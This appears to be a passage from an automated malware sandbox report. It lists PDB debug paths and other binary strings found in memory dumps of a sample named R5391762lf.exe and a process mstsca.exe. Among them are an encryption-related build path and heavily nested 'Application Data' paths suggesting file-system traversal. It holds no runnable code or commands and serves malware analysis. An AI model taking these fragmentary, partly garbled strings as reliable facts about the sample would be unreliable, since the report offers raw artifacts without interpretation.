Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ m[%K source: R5391762lf.exe, 00000007.00000003.2081897313.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2098573555.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100791102.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2080641815.0000000003787000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079360767.00000000036F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.1681500127.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946799099.00000000033B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682385197.000000000339B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1948192992.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1622139551.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681962371.0000000003398000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2136464726.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146776038.00000000037AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\* source: R5391762lf.exe, 00000007.00000003.2135353595.0000000003BE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\a\\* source: R5391762lf.exe, 00000007.00000003.2135353595.0000000003BE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\a\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\Hq source: R5391762lf.exe, 00000007.00000003.1681931238.00000000031A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681857238.0000000003192000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\tofagehu\hiv.pdb source: R5391762lf.exe, 00000000.00000000.1365440142.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000000.00000002.1371228997.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000002.00000000.1368723855.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000000.1393141835.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000002.1402790668.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000006.00000000.1394677978.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000006.00000002.1407678085.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000007.00000003.1491373512.00000000097E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\S source: R5391762lf.exe, 00000007.00000003.2163523307.000000000394E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2148622885.0000000003909000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161507868.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146207325.00000000038A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\kL source: R5391762lf.exe, 00000007.00000003.2083769242.0000000003878000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\ar-IQ\\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\2a source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2102031776.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101371339.0000000003858000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ABA671~1A8E3aba6710fde0876af_0ata\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\NV, source: R5391762lf.exe, 00000007.00000003.2068868095.0000000003538000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2066983991.000000000351F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049588960.0000000003505000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049773121.0000000003517000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\8\) source: R5391762lf.exe, 00000007.00000003.2068625676.0000000003494000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067121029.0000000003429000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067819538.0000000003491000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.2102219376.0000000003B45000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2136303536.0000000003B65000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2102031776.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101371339.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101597700.0000000003B45000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\+D> source: R5391762lf.exe, 00000007.00000003.2049327479.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050729410.0000000003870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2101597700.0000000003ACA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: R5391762lf.exe, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ache\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2083769242.0000000003878000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068464910.0000000003838000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\d source: R5391762lf.exe, 00000007.00000003.2161564877.0000000003E55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051158018.00000000037A8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068464910.0000000003838000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051285855.00000000037C8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2052379835.00000000037D7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2161457141.0000000003AA1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147352148.0000000003A91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.1681500127.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946799099.00000000033B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682385197.000000000339B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1948192992.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1622139551.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681962371.0000000003398000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\2a source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068384745.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068555631.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2149833514.000000000376F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: mstsca.exe, 00000021.00000000.3275270168.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\W source: R5391762lf.exe, 00000007.00000003.1682135563.000000000315F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682296747.000000000316C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682038409.000000000315E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1684204652.0000000003170000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682185359.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\s\ source: R5391762lf.exe, 00000007.00000003.1948567038.0000000003699000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049541715.0000000003691000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\AC\Temp\d.pdb\ source: R5391762lf.exe, 00000007.00000003.2162329285.000000000384C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2162135110.00000000037FD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ngs\ source: R5391762lf.exe, 00000007.00000003.2135149537.00000000033A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.2135081077.0000000003985000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147440371.00000000039A6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135303170.00000000039D6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.0000000003994000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: R5391762lf.exe, 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, R5391762lf.exe, 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ta\5 source: R5391762lf.exe, 00000007.00000003.2161564877.0000000003E55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681707652.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1621610422.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: mstsca.exe, 00000021.00000000.3275270168.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ta\ source: R5391762lf.exe, 00000007.00000003.2102219376.0000000003B45000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101597700.0000000003B45000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049327479.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050729410.0000000003870000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068384745.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: _C:\tofagehu\hiv.pdb source: R5391762lf.exe, 00000000.00000000.1365440142.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000000.00000002.1371228997.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000002.00000000.1368723855.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000000.1393141835.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000002.1402790668.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000006.00000000.1394677978.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000006.00000002.1407678085.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000007.00000003.1491373512.00000000097E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681707652.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1621610422.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\re\ source: R5391762lf.exe, 00000007.00000003.2163523307.000000000394E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2148622885.0000000003909000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161507868.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146207325.00000000038A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Y source: R5391762lf.exe, 00000007.00000003.2160881212.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068464910.0000000003838000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\BlB- source: R5391762lf.exe, 00000007.00000003.2135149537.00000000033A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\AC\Temp\wy\ion Data\Application Data\Application Data\Microsoft\input\en-ZW\\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\2a source: R5391762lf.exe, 00000007.00000003.2163523307.000000000394E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2148622885.0000000003909000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161507868.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146207325.00000000038A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\\T source: R5391762lf.exe, 00000007.00000003.2079190952.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2078852071.0000000003429000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2083952112.000000000346D000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067121029.0000000003429000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: load_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\M source: R5391762lf.exe, 00000007.00000003.2099831348.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101510258.000000000370A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2081263289.000000000373B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946934767.00000000036FF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100414663.0000000003703000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2102557757.0000000003712000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079360767.00000000036F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\AC\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100295097.000000000397E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\H\* source: R5391762lf.exe, 00000007.00000003.1682135563.000000000315F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682296747.000000000316C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682038409.000000000315E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1684204652.0000000003170000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682185359.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: QNBBNQ~1.BGJQNBBNqWD9F_Blep-UqQSqnMp-FI[1].css.bgjs06avERkAqfuwcXY6H5w8dtNc[1].css.bgjst44F3556BE808F99573969118A8E36879BA1ADA6Ction Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\db source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ata\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101371339.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: R5391762lf.exe, 00000007.00000003.2101462932.0000000003691000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\ source: R5391762lf.exe, 00000007.00000003.2080570314.00000000034B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2078665185.0000000003491000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2066983991.00000000034D5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2103034298.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2098976504.00000000034B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2080800658.00000000034DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*F source: R5391762lf.exe, 00000007.00000003.2135261521.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135214422.00000000034C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\J source: R5391762lf.exe, 00000007.00000003.2161457141.0000000003AA1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147352148.0000000003A91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\MSO source: R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\te\ source: R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.1681931238.00000000031A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681857238.0000000003192000.00000004.00000020.00020000.00000000.sdmp
